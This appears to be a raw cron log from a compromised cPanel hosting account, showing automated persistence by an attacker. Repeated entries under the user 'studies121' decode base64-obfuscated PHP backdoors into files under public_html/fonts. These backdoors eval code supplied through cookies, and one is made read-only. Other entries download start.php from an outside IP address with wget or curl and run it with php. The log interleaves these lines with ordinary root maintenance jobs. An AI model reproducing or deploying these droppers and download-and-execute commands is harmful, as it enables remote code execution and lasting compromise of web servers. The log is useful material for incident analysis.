Sep  6 22:46:01 ip-184-168-122-23 CROND[7731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:46:01 ip-184-168-122-23 CROND[7733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:46:01 ip-184-168-122-23 CROND[7732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:46:01 ip-184-168-122-23 CROND[7734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:46:01 ip-184-168-122-23 CROND[7735]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 22:46:01 ip-184-168-122-23 CROND[7736]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 22:47:01 ip-184-168-122-23 CROND[7842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:47:01 ip-184-168-122-23 CROND[7840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:47:01 ip-184-168-122-23 CROND[7843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:47:01 ip-184-168-122-23 CROND[7841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:48:01 ip-184-168-122-23 CROND[7928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:48:01 ip-184-168-122-23 CROND[7929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:48:01 ip-184-168-122-23 CROND[7930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:48:01 ip-184-168-122-23 CROND[7931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:48:01 ip-184-168-122-23 CROND[7932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:49:01 ip-184-168-122-23 CROND[8023]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 22:49:01 ip-184-168-122-23 CROND[8027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:49:01 ip-184-168-122-23 CROND[8026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:49:01 ip-184-168-122-23 CROND[8025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:49:01 ip-184-168-122-23 CROND[8024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:50:01 ip-184-168-122-23 CROND[8125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 22:50:01 ip-184-168-122-23 CROND[8127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:50:01 ip-184-168-122-23 CROND[8128]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:50:01 ip-184-168-122-23 CROND[8129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:50:01 ip-184-168-122-23 CROND[8132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:50:01 ip-184-168-122-23 CROND[8131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:50:01 ip-184-168-122-23 CROND[8133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:50:01 ip-184-168-122-23 CROND[8134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:50:01 ip-184-168-122-23 CROND[8139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:51:01 ip-184-168-122-23 CROND[8332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:51:01 ip-184-168-122-23 CROND[8335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:51:01 ip-184-168-122-23 CROND[8333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:51:01 ip-184-168-122-23 CROND[8336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:52:01 ip-184-168-122-23 CROND[8415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:52:01 ip-184-168-122-23 CROND[8417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:52:01 ip-184-168-122-23 CROND[8419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:52:01 ip-184-168-122-23 CROND[8418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:52:01 ip-184-168-122-23 CROND[8420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:53:01 ip-184-168-122-23 CROND[8504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:53:01 ip-184-168-122-23 CROND[8507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:53:01 ip-184-168-122-23 CROND[8506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:53:01 ip-184-168-122-23 CROND[8508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:54:01 ip-184-168-122-23 CROND[8587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:54:01 ip-184-168-122-23 CROND[8589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:54:01 ip-184-168-122-23 CROND[8590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:54:01 ip-184-168-122-23 CROND[8592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:54:01 ip-184-168-122-23 CROND[8591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:55:01 ip-184-168-122-23 CROND[8670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:55:01 ip-184-168-122-23 CROND[8674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:55:01 ip-184-168-122-23 CROND[8676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:55:01 ip-184-168-122-23 CROND[8678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:55:01 ip-184-168-122-23 CROND[8681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:55:01 ip-184-168-122-23 CROND[8683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:56:01 ip-184-168-122-23 CROND[8855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:56:01 ip-184-168-122-23 CROND[8857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:56:01 ip-184-168-122-23 CROND[8859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:56:01 ip-184-168-122-23 CROND[8858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:56:01 ip-184-168-122-23 CROND[8860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:57:01 ip-184-168-122-23 CROND[8943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:57:01 ip-184-168-122-23 CROND[8944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:57:01 ip-184-168-122-23 CROND[8947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:57:01 ip-184-168-122-23 CROND[8946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:58:01 ip-184-168-122-23 CROND[9023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:58:01 ip-184-168-122-23 CROND[9025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
